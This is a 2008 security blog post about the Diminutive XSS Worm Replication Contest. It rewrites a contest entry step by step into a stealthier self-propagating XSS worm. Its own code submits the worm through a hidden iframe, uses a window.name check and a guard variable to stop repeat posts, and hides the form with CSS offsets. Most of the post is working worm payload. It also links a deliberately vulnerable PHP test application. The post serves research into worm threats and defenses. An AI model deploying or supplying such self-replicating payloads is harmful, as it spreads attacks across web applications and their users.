Diminutive XSS Worms and IFRAMEs

The Diminutive XSS Worm Replication Contest finished up two weeks ago. See Diminutive Worm Contest Wrapup for the winners (Giorgio Maone and Sirdarckcat) and the details. RSnake posted an excellent paper that looks back at the contest and what was learned that could be used to stop XSS worms. I'll have more to say about the defense aspect later.

For all of the initial controversy, post-contest coverage was lighter than I expected:

Another thing I found fascinating is that in both RSnake's paper and the commentary, XMLHttpRequest was somehow preferred over form submission simply because it was "silent". (See Creating and Combating the Ultimate XSS Worm). But as "bwb labs" rightly points outs, there are a variety of techniques to use when the form submission approach would absolutely be required (e.g., cross-domain blind-CSRF). In fact, nearly trivial modifications can be made to support silent, one-time posting using forms. The approach is based on remote scripting with iframes (a popular technique from the pre-AJAX era).

To start with, we'll examine a contest entry from Gareth Heyes:

<form><input name="content"><iframe onload="(f=parentNode)[0].value='<form>'+f.innerHTML;f.submit(alert('XSS',f.action=(f.method='post')+'.php'))">

The entry used a side-effect of the contest rules to reduce the number of bytes, so removing that will help show what is happening. It will no longer be diminutive, but the purpose here is to understand the behavior and not to create small worms.

Re-arranging the code, adding line breaks and removing the minimal payload:

<form method="post" action="post.php">
<input name="content">
<iframe onload="(f=parentNode)[0].value='<form>'+f.innerHTML;f.submit();">

Obviously, the revised code will no longer self-propagate, because the method and action from the form are not being reproduced. To address this, an additional parent level element should be added. The favored solution from the contest was to use the a b and the bold function, but empirical testing indicates that a div element seems to be more effective. Additionally, making the content type hidden and explicitly closing the form and iframe tag yield better results:

<div>
<form method="post" action="post.php">
<input name="content" type="hidden">
<iframe
	onload="(f=parentNode)[0].value='<div>'+f.parentNode.innerHTML;f.submit();">
</iframe>
</form>

Here is where some of the remote scripting techniques can be applied. By assigning a target to the form and a corresponding name to the iframe, the form can be made to submit to the iframe instead of the current window. So, we add a name to the iframe and target to the form (plus a form name for good measure):

<div>
<form method="post" action="post.php" name="_f" target="_t">
<input name="content" type="hidden">
<iframe
	name="_t"
	onload="(f=parentNode)[0].value='<div>'+f.parentNode.innerHTML;f.submit();">
</iframe>
</form>

This change will cause the form to submit into the iframe and leave the current page content unchanged. But an interesting problem is encountered if the content that has been submitted is echoed back. If this happens, an infinite loop has been constructed and the repeated posts will cause undue stress on the server.

To resolve this, the submitted content should check where it is running. One piece of information that the iframe has is the window.name value, which corresponds to the name on the iframe. By adding a check for the current window name, the code can determine whether it has already been submitted or not:

<div>
<form method="post" action="post.php" name="_f" target="_t">
<input name="content" type="hidden">
<iframe
	name="_t"
	onload="if ('_t' != window.name) {
	(f=parentNode)[0].value='<div>'+f.parentNode.innerHTML;
	f.submit();
	}">
</iframe>
</form>

Unfortunately, this code suffers from a related problem. When the form submits into the iframe, the onload function will be triggered. This will happen repeatedly until the current page location is changed. To account for this a guard variable is added:

<div>
<form method="post" action="post.php" name="_f" target="_t">
<input name="content" type="hidden">
<iframe
	name="_t"
	onload="if ('undefined' == typeof(_o) ^ '_t' == window.name) {
	(f=parentNode)[0].value='<div>'+f.parentNode.innerHTML;
	f.submit();
	_o = 1;
	}">
</iframe>
</form>

The strange xor usage is done to avoid any '&' characters that may have additional encoding applied when innerHTML is used.

Finally, a CSS style is applied to hide the form and iframe. There are many ways to do this including "display: none" or "overflow: hidden" with zero height and width, but I prefer to use absolute positioning with large negative offsets. This style is applied to the form, so valid content can be included prior to it:

<div>
<i>Valid content goes <u>here</u></i>.
<form method="post" action="post.php" name="_f" target="_t"
      style="position: absolute; left: -9999px;">
<input name="content" type="hidden">
<iframe
	name="_t"
	onload="if ('undefined' == typeof(_o) ^ '_t' == window.name) {
	(f=parentNode)[0].value='<div>'+f.parentNode.innerHTML;
	f.submit();
	_o = 1;
	}">
</iframe>
</form>

Of course, a similar approach could be used to modify any of the entries that use img elements and onerror to trigger the form submission. An iframe would be added, assigned a name, and this would be the set as the target on the form.

Hopefully, it is clear that form submission worms are still a threat that should be considered even though XMLHttpRequest may be the preferred approach. But if cross-domain submission is used as a protection mechanism, clever use of the IFRAME element can still make XSS worms a possibility.

If you are having a hard time visualizing how the propagation actually works, I've posted the code to my poorly crafted PHP application. It matches the constraints in the contest while supporting multiple users with minimal fuss: xss-worm-test-0.01.tar.gz (sig). You will need PHP and MySQL. See the README for more information. I would put this online myself, but it has obvious security holes; I would strongly recommend against putting this on a publicly accessible site.

Posted by gfleischer on 2008/01/24 at 19:54 in Hacking

Home

Subscribe
RSS 2.0
Quick Links
Content
Info

Categories
Archives
Sitemap
Valid XHTML 1.0 Transitional Valid CSS!